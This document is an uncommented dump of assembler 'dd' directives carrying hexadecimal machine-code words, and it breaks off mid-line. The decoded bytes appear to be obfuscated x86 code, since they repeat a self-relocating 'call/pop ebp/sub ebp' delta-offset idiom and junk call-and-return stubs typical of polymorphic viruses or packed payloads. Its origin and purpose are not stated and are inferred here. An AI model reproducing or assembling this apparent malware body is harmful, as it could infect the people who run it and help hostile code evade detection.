8B57AF6Ch dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h dd 2000000h, 0C3C0335Fh, 0BEF18B66h, 762EC948h, 0FDE9CA2Bh dd 8BFFFFF5h, 8BC18BF0h, 4EBF1h, 8B000000h, 0E70329B5h dd 8DF98B05h, 0E7139585h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0CAF96060h dd 11E91E63h, 0F5000000h, 6CF2B1E4h, 0ED8028B7h, 6492C2DDh dd 0B12B3DAAh, 7E890h, 6F850000h, 57F24A04h, 90BF6645h dd 90505FB0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 99C35343h, 61953608h, 0A3CC68D2h, 0A5BD8BD1h, 0F05E729h dd 0A8Fh, 0F98A6000h, 170D9D8Bh, 6A6105E7h, 6AF500h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9CC35545h, 8B665EBCh dd 758529FEh, 8D05E727h, 0EAE3E585h, 0CE805h, 0C3000000h dd 775B2631h, 2D1F9E9h, 0BF6669C9h, 835E6AECh, 0BD0305C0h dd 5E70389h, 0AE99589h, 669005E7h, 9050F38Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FBC35242h, 53B45A6Fh dd 0BE66C33Eh, 6A44D5h, 840Fh, 6A0000h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 36C35141h, 0E0F31C34h dd 0D1BD0B25h, 0FF05E72Bh, 0E71A4D95h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0A7F8EB09h, 0AA9D8DEAh, 6A05EAA4h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0F843C350h dd 661A2C4Fh, 660A46BFh, 0D3FFF38Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 8FC35747h, 628176B4h, 0A867EEF3h dd 0DDB58BE2h, 0F05E71Fh, 385h, 0FEB70F00h, 14FD85FFh dd 870F05E7h, 6, 1A39B533h, 3BE905E7h, 0E8000008h, 0 dd 0EFED815Dh, 2B05EAE3h, 0E7041DBDh, 15BD8105h, 0D005E727h dd 0F000007h, 17386h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 817BD98Fh, 0FA1F23EFh dd 6850F67h, 8B000000h, 0E707E1BDh, 35B50B05h, 8B05E704h dd 0E707959Dh, 20D78105h, 96813B0h, 0E71C6D85h, 0E38105h dd 0F000001h, 0DB0BF1BFh, 0BE850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0CB1988C3h dd 83787F3Fh, 0EAE1FEBDh, 840F0005h, 59h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2DC35747h, 21FA2900h dd 0DD678920h, 8FE9C4h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 4396E5C3h, 573F333Eh dd 6E972A8h, 9E000000h, 0A17877B4h, 0FE85C700h, 105EAE1h dd 0F000000h, 4EE9F6BFh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F3B2C353h dd 0B7B9BF3Eh, 5F506D50h, 0E1FE85C7h, 5EAh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8B48A4C3h, 959D8DF7h, 8B05E707h, 0FF2381F8h, 6AFFFFFEh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0BD5C351h, 502B961Dh, 0A0A11824h, 66DB8C66h dd 9F87CE81h, 0F04C3F6h, 3384h, 1FAFBF00h, 95FF4FDEh, 5E71329h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 21C35343h dd 0F38B6690h, 0B52B9050h, 5E71A5Dh, 4A0E9h, 6E800h, 133A0000h dd 555E790Fh, 269B50Bh, 0B05E05E7h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 7BB8D006h dd 0E6AAEC2Dh, 56006A70h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 50CB1C6Ch, 94561504h dd 0B5299A9Bh, 5E72C05h, 0F68171E4h, 735A9306h, 0BED8B60Fh dd 7F66590Ch, 0BAF7B70Fh, 6, 0BE9h, 0EE7AFD00h, 0AD656C48h dd 71B3E298h, 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 2E6744C3h, 5850FA5h, 66000000h dd 0CC7CEF81h, 0E904E8C1h, 0Dh, 0B334AA7h, 6F6046A3h, 77169F29h dd 0E2F766BAh, 3285BD0Bh, 0D82B05E7h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 64C35242h, 0ED87D565h, 892CF88Ah dd 0E718558Dh, 17BE5005h, 895F5706h, 0BE8241Ch, 0F3000000h dd 8DB98452h, 4E6EE657h, 0B58B00FAh, 5E701A9h, 15B5FF5Fh dd 6A05E727h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 7F73C353h, 0B660770Ch, 0BD8B51CCh dd 5E724B1h, 21C195FFh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0EF8438C3h, 316DFBAh dd 0E7044DBDh, 5CBE6605h, 6A00B0CDh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4FAC352h dd 427A99F7h, 50CF810Bh, 0E61B0900h, 51006A70h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0BA666073h dd 6660D6C8h, 0CA27D881h, 6161C88Bh, 3298D31h, 71E405E7h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 27C35040h dd 0B58BA4B3h, 5E71C41h, 0AE9h, 93461400h, 0AEFD4A9h, 3C5D45D3h dd 86830F61h, 6A000002h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0F241C350h, 0B60FF78Bh dd 0FDB50BD8h, 0BA05E71Ch, 6, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 3BC35141h, 0B49E75Eh, 99B58BD1h dd 8B05E711h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 89558F08h, 0E7278585h, 4E8C105h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4AC35747h dd 14E9BB42h, 51000000h, 29DB313Eh, 0CA151033h, 7A47DBD7h dd 0AF522E0h, 0F56FD6C1h, 29A58589h, 0F76605E7h, 665153E2h dd 5E5FF98Bh, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 28EDEDC3h, 10E8h, 0E7C1400h, 9A813EA1h dd 37B3A8EEh, 36965EC8h, 0B3D681DBh, 5E118379h, 49958958h dd 2B05E718h, 76880FD8h, 6A000001h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 364CC350h dd 0BD8B4AC1h, 5E708F1h, 7B9h, 29858900h, 8305E727h, 6A00C1h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 853EBDC3h, 258D01E3h, 3B05E709h, 16860FD9h, 66000001h dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0FB549C3h, 682h, 19D78100h, 0F67E6B6Dh, 840F04C1h dd 0DFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 46C35747h, 8B77EC88h, 0E72BB9BDh, 2995FF05h, 6A05E713h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 32E2C356h, 38A6AEE9h, 6A5B058Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0A16BC352h, 0B337D431h, 0F697B34h, 382h, 0F28B6600h dd 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 15AC5FC3h, 343DA6CEh, 0F000008h, 3686h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 7E8E85ABh, 4FF69C48h, 858943DAh, 5E70069h, 8E9h, 69850100h dd 8B05E701h, 8BC38BC0h, 21BD89D8h, 0C705E723h, 0E706AD85h dd 0A1EB7505h, 6AC08B32h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 8C0CC357h, 375F7F3Ch dd 29A9EDD4h, 0E7219185h, 0FD8D8905h, 8105E729h, 0E72715BDh dd 7D005h, 15850F00h, 66000000h, 850FF08Bh, 6, 0C9BBEE81h dd 85FF422Fh, 5E72715h, 2715B5FFh, 6A05E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0FC2DCBC3h dd 0C18D8940h, 0FF05E713h, 0E721C195h, 85BD0305h, 9005E70Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C7C35343h dd 0E98F093Ah, 0Ah, 2DD69FE9h, 60158619h, 0DE98064h, 0CF000000h dd 286AC9Ah, 4A469DB8h, 0C8B439ECh, 10E9F8h, 0B2560000h dd 87D7C663h, 0C788571Fh, 4D7FBA8Fh, 6A5135h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8D01B7C3h dd 5E72B95h, 14E9h, 80BA7600h, 4DCD444Fh, 0BD91B50Bh, 674C1612h dd 3CFD0866h, 25B58BFEh, 8905E71Dh, 0E719E595h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 9A98B520h, 0B58B578Fh, 5E706DDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 19C35040h, 1D8476F1h dd 137D9529h, 0B53105E7h, 5E72D05h, 10E9h, 408C700h, 0AC97F48Dh dd 2ED02C8Dh, 0E854DE78h, 0F7D5E9C1h, 6052FFFFh, 21618D89h dd 5E6105E7h, 214DBD8Bh, 0C18B05E7h, 0FE9h, 0F82BBE00h dd 1644C267h, 9810007Eh, 4D98CEEFh, 4EBh, 0BD8B0000h, 5E706B1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 40C35646h dd 7AAD5F75h, 6669A43Eh, 52ACE6BFh, 17118589h, 8D5E05E7h dd 0E7139585h, 0A8AABF05h, 50503D3Bh, 2404895Eh, 72EF8166h dd 8B006A12h, 0E71BCDB5h, 6A006A05h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0ABACC350h dd 6890Fh, 0BD8B0000h, 5E71571h, 0EDFA858Dh, 6A05EAh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0C4165AC3h, 5C08354h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 4AC35343h, 0C209B7A3h, 0E82D9A06h, 12h dd 8CC93F05h, 1BAD262Bh, 60C9ABEFh, 1F3D7688h, 0B70F6D8Dh dd 66905FFFh, 5050F88Bh, 0BE525052h, 739EBC87h, 0CE8310Fh dd 31000000h, 86355042h, 0A9B8BE39h, 5F0B92D3h, 310F585Ah dd 211BBF66h, 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 548EC357h, 0CE8h, 6E83EE00h dd 0F888D2C1h, 0D19086DAh, 39B589DBh, 5E05E701h, 8B56006Ah dd 0E7037DB5h, 9D315E05h, 5E71379h, 0B58B006Ah, 5E71A85h dd 1A4D95FFh, 9D8D05E7h, 5EAA4AAh, 15850Fh, 10E90000h dd 0DD000000h, 0BC1064F0h, 610189F2h, 0D5397F06h, 0FF5C41E3h dd 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0BD3E25AEh, 5DBD8BA9h, 0FF05E720h, 0E714FD85h dd 0B4CF8105h, 0E952EDCFh, 8CBh, 0E8h, 0ED815D00h, 5EAEE04h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CDC35040h dd 0B131F4D7h, 85097FB5h, 5E70C41h, 2715BD81h, 7D005E7h dd 860F0000h, 1C1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0B3C35747h, 1276D73Fh, 2A499589h, 9D8B05E7h dd 5E71A55h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 88C35343h, 12E993h, 0A7B60000h, 8D2E1F48h, 0D3E94186h dd 0EA2512D2h, 43A380Bh, 20A5B589h, 0E38105E7h, 100h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 4BC35343h, 5C9D5E31h dd 68A0Fh, 0B5330000h, 5E71B49h, 988DBE50h, 0B5F284Dh dd 0A3850FDBh, 81000000h, 5888DBEFh, 4800F62h, 66000000h dd 83C3F8BEh, 0EAEC3DBDh, 840F0005h, 34h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 16h, 21C35747h, 8EBF013Eh dd 0E91449F8h, 6Ch, 2BFDB501h, 0B58B05E7h, 5E70BDDh, 0EC3D85C7h dd 105EAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0E959B6C3h, 34h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 10C35343h, 0BF6D652Ch dd 0BE6689FFh, 85C70944h, 5EAEC3Dh, 0 dd 0B92CBE66h, 1A559D8Dh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 0E7CB61C3h, 0FEFF2381h dd 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 201038C3h, 13E8AEh, 266E0000h, 9F5E638Ah dd 2DBFAB35h, 59481168h, 16A136ECh, 0E8806051h, 616160E1h dd 0DB8C665Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 2BC35343h, 0F0E02B4h, 0C3F6EB4Ah, 62840F04h, 2B000000h dd 0E727B1B5h, 89B58B05h, 0FF05E72Dh, 0E7132995h, 18D8905h dd 5005E733h, 0AE8h, 583B8D00h, 37BFF599h, 660DBEB4h, 895EF98Bh dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 1FE54FC3h, 928F2FE5h, 0BE90Fh, 0E1170000h dd 0B072A28Eh, 0EF85B2F8h, 406E975h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0ACF4A4C3h dd 0A29F058h, 0BF6652CDh, 0B05E2BCBh, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 9B5602ACh, 0BE13AE6Ch, 70BFF9DEh, 6A70E6h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 8BE515C3h dd 0E72755BDh, 0F71E405h, 582h, 0BF0F5600h, 0B60F5FF8h dd 418509D8h, 0BA05E724h, 6, 0C681C38Bh, 60600CE3h, 7E9h dd 4E799F00h, 291609D3h, 8904E8C1h, 0E70A818Dh, 0E2F76605h dd 5830Fh, 0B9BF0000h, 2B73D487h, 51006AD8h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 8BBC7D12h dd 0E71849BDh, 0E993FC05h, 5, 0F7369AF9h, 505050ABh, 310F5250h dd 5E5F585Ah, 51006A93h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0B5FFB934h, 5E72715h, 2890Fh, 0F78B0000h dd 21C195FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 35DAD1C3h, 2934C1F8h, 0E712AD85h dd 0F00B005h, 8Dh, 59BD2300h, 0E605E72Fh, 57006A70h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0B58B2C1Dh, 5E721D9h, 6A71E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 50FC9DC3h, 5EC271AFh dd 613C3BE8h, 252830Fh, 0BD8B0000h, 5E719C9h, 6AD8B60Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 9FB1C350h, 9FD50D2Eh, 6BA8A22h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 8E48C356h, 0E8C38B0Bh, 0Ch, 59A5112Fh, 0E5202D67h dd 0E043608Ah, 3758C681h, 0C15F5BA1h, 13E904E8h, 0EF000000h dd 3F80CA04h, 9C95D3DAh, 0C6D135CDh, 637B0625h, 0F7668559h dd 0A9BD8BE2h, 2B05E70Bh, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 50B333F2h dd 59BD31FCh, 5805E715h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0AAC35040h, 0D8E139B3h, 880FD82Bh, 174h dd 241B58Bh, 0B70F05E7h, 7B9F3h, 0BD8B0000h, 5E70CA1h dd 2EBDBD89h, 0C18305E7h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 77D4F147h dd 53D2BA18h, 0E8F08B9Ch, 12h, 0E84259C6h, 0A27C082Fh dd 0D139C3C8h, 51147EC2h, 0B58921E5h, 5E72EEDh, 399D895Eh dd 3B05E704h, 5860FD9h, 89000001h, 0E727B595h, 0D98C6605h dd 0C1F6FB8Bh, 0E9840F04h, 66000000h, 0FFCF2DBFh, 0E7132995h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 0CE96036h, 0A2000000h, 9C8AA9F1h, 8F0267B8h dd 23FC8BCFh, 0E729B18Dh, 6A5B6105h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 8C75C353h dd 0F08B7B37h, 6AC32Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 940634C3h, 21DD8589h, 343D05E7h dd 0F000008h, 5786h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 2B235447h, 6170E2AFh dd 12E9h, 0A7212B00h, 94D76D4Dh, 0FE7CE4EAh, 43BA0BFCh dd 0E9C63A42h, 20h, 13E9h, 8A843500h, 25C916E9h, 1BB06BDFh dd 51A42680h, 1BFA4BD5h, 0D781C08Bh, 2ABFC3CDh, 0D88BC38Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6BC35545h dd 2FEDAA74h, 8BC64CC7h, 9585C7F0h, 9D05E707h, 6A3BD9E5h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 4F8C351h, 72300E7Dh, 89548626h, 0E711C58Dh dd 6AC08B05h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 605AC350h, 2F75BD89h, 0BA6605E7h dd 8B6193F5h, 0E71B59BDh, 15BD8105h, 0D005E727h, 0F000007h dd 3985h, 0F78B6600h, 271585FFh, 6A05E7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 8FB03FC3h dd 0F1A3AC0Dh, 0BD8B7F58h, 5E72CE9h, 1F5B58Bh, 0B5FF05E7h dd 5E72715h, 21C195FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0F608D9C3h, 6A90DE43h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0F226C357h, 56BD973Bh, 28C9B58Bh, 0E95F05E7h dd 10h, 0A8904721h, 4201F8F5h, 3F200780h, 1EDDD13Ah, 0CE9h dd 0A52B2100h, 2CD23DDBh, 4A1CDDAFh, 0B5B58B9Ah, 6A05E729h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 40B4C356h, 0B58B359Eh, 5E71C91h, 12699D89h dd 6A05E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 716DEFC3h, 30CE81B0h, 663AF0B4h, 4181F781h dd 18498589h, 2B6005E7h, 0E72D118Dh, 0BFE08105h, 8B7E0A6Ah dd 0E7159595h, 6A6105h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 26A3ABC3h, 88745195h, 13E9565Ah dd 0B0000000h, 0FF2C82E4h, 0B0121F9Ch, 1B0AA7D8h, 0A195F6B2h dd 0E95EBC3Bh, 0FFFFF758h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0BCC35141h, 639D6F14h, 8BF8BF0Fh, 56006AC1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 29FD8F20h, 0EBFC26DDh, 4, 6800F00h, 81000000h, 0CC2B09EEh dd 58D0F59h, 0BE000000h, 63E7C263h, 6880Fh, 0BD030000h dd 5E7143Dh, 1395858Dh, 6A05E7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 2D4686C3h, 50F08B66h dd 0FCB8A60h, 68Fh, 0F525000h, 61585A31h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 6EBCC355h, 14F9B244h, 0E8D6CA0Ah, 9, 0A0DE6CABh, 0D5E76A7Eh dd 11E801h, 15380000h, 0B674A7A2h, 73577068h, 13ACDDFFh dd 66E187D9h, 5E5FFE8Bh, 28F18589h, 6A05E7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8AC35141h, 346D98EEh dd 0B7243DCDh, 3800F50h, 0F000000h, 9501FEBFh, 5E72099h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0E76C02C3h, 0C681D577h, 283B102Ah, 0F910858Dh dd 6A05EAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 0C129A9C3h, 0BF0FA47Bh, 5C083F7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0EAC35545h, 8486D6B6h dd 0F397C1ADh, 4103BF90h, 60504DEFh, 854DBB66h, 8E8h, 1F85A200h dd 0D9F92145h, 59CE8BBDh, 6A9061h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 24341EC3h, 0F0BF0FCCh dd 0BD8B006Ah, 5E7220Dh, 1BBF006Ah, 0FF6BBE09h, 0E71A4D95h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 0BB75D45Fh, 64BC2251h, 79B58B2Ch, 8D05E727h dd 0EAA4AA9Dh, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 7C0F19Bh, 204CE9E0h, 0D3FF5D8Ah dd 14FD85FFh, 0B86005E7h, 1116537Ah, 5537BF66h, 90DE961h dd 0E80000h, 5D000000h, 0F91AED81h, 6A05EAh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 5ED7D7C3h dd 0AC94416Bh, 0BD81BC78h, 5E72715h, 7D0h, 149860Fh, 81660000h dd 8B668BDEh, 0E7185D9Dh, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0E5BD8B14h dd 8105E72Bh, 100E3h, 14E900h, 9C080000h, 0D4D420B6h, 3F731728h dd 1D865197h, 0A5D089E3h, 0DB0BF652h, 86850Fh, 820F0000h dd 0Ch, 6890Fh, 8C0F0000h, 0 dd 0F6F0BD83h, 0F0005EAh, 5284h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 8B2CDF90h dd 718D01F1h, 0E905E725h, 4Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0DDC35646h, 7CBF74BEh, 2C153A0Bh dd 0C7F08BB8h, 0EAF6F085h, 105h, 15E900h, 95890000h, 5E70C4Dh dd 0F6F085C7h, 5EAh, 81660000h, 8D715EF7h, 0E7185D9Dh dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 54E26B01h, 0CADD65DCh, 0BD01F36Fh, 5E72571h dd 6E1B58Bh, 238105E7h, 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 53C35141h, 81665B48h, 660AF2CFh dd 6ADB8Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 8D7414C3h, 3D5389E4h, 4C3F61Ah, 6F840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 606F81C3h, 0C546B966h, 1B69BD0Bh, 0FF6105E7h dd 0E7132995h, 0EE805h, 0A3FF0000h, 0D3F4691Ah, 5B45390Fh dd 8682862Ch, 905EF98Bh, 76BF6650h, 6A908Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 2AC01EC3h dd 0CFE97552h, 4DDE9C5h, 8D890000h, 5E72231h, 858900B0h dd 5E7035Dh, 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 0A8D9CAC3h, 519509F4h, 0E405E72Fh dd 51006A71h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 598A5450h, 9E8h, 10498A00h, 0AE72C8ABh dd 0DE918F9h, 58000000h, 3AD5E69Ch, 7795D43Fh, 0B6F09F73h dd 0F5B58B5Fh, 0F05E701h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 7C6BABC3h, 0BE886B37h dd 3308A637h, 0BAFA8B66h, 6, 0F8B0Fh, 0AE90000h, 6C000000h dd 23BDE8C0h, 4E5035A2h, 6AC38B84h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0D910C353h dd 0EE81CF96h, 6AC5FBE3h, 6A04E8C1h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 1196C357h dd 0C057476Eh, 0B5891DEDh, 5E719F5h, 9E2F766h, 0E70A21B5h dd 6AD82B05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 5264C355h, 0FE960FFh, 47000000h dd 0D22E8A13h, 86FAFC3Fh, 0B9852CB0h, 0C980AFACh, 0E95061FAh dd 0Eh, 485F2A17h, 24407AA7h, 0B6C16A88h, 1C89AC73h, 8DB53124h dd 0FF05E732h, 0E72715B5h, 68B0F05h, 9000000h, 0E72A7195h dd 0C195FF05h, 6A05E721h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0DA3AC355h, 26216C0h dd 53BC2FFCh, 59BCBE66h, 0E8E0F5Eh, 0E9000000h, 9, 3BA0C16Ch dd 0F5EF056Dh, 6A00B0B5h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 3E6CC350h, 3E7C8A6h dd 21A6D9C0h, 8B0Fh, 0F18B0000h, 6A70E6h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2DEF8DC3h dd 5E9C3018h, 89A02002h, 0E72A79BDh, 71B58B05h, 0E405E705h dd 39B58B71h, 3C05E708h, 0A0830F61h, 89000002h, 0E72B35BDh dd 13E905h, 8AF30000h, 852E070Eh, 3FC9C013h, 4A57C16Dh dd 843C03C3h, 0D8B60FF3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0AEC35545h, 6BA06h, 95890000h, 5E703F1h dd 6AC38Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 553150C3h, 11E952h, 0DB8B0000h, 6DD392EBh dd 7146120Dh, 2D2B69DBh, 5F97CCDCh, 2BC9BD01h, 0E8C105E7h dd 0A5858904h, 6605E716h, 0B58BE2F7h, 5E70BA9h, 6AD82Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 655194C3h, 0EF31AA70h, 58F18B66h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 97C35747h, 9D60A4C7h, 558501FEh dd 2B05E721h, 0B0880FD8h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 385DC352h dd 8BF6688Ch, 0E71D05BDh, 7B905h, 0B70F0000h, 0C183F1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 1BC35646h dd 41AD0428h, 0BAF195C6h, 3E1BD8Bh, 0D93B05E7h, 14D860Fh dd 9D090000h, 5E7271Dh, 6AD98C66h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0F4DCC353h dd 4914D6E4h, 11C6054Ah, 0CE9h, 0CECF0C00h, 0E4B3E738h dd 15088E67h, 4C1F6B2h, 0DF840Fh, 6A0000h, 3E850h, 58200000h dd 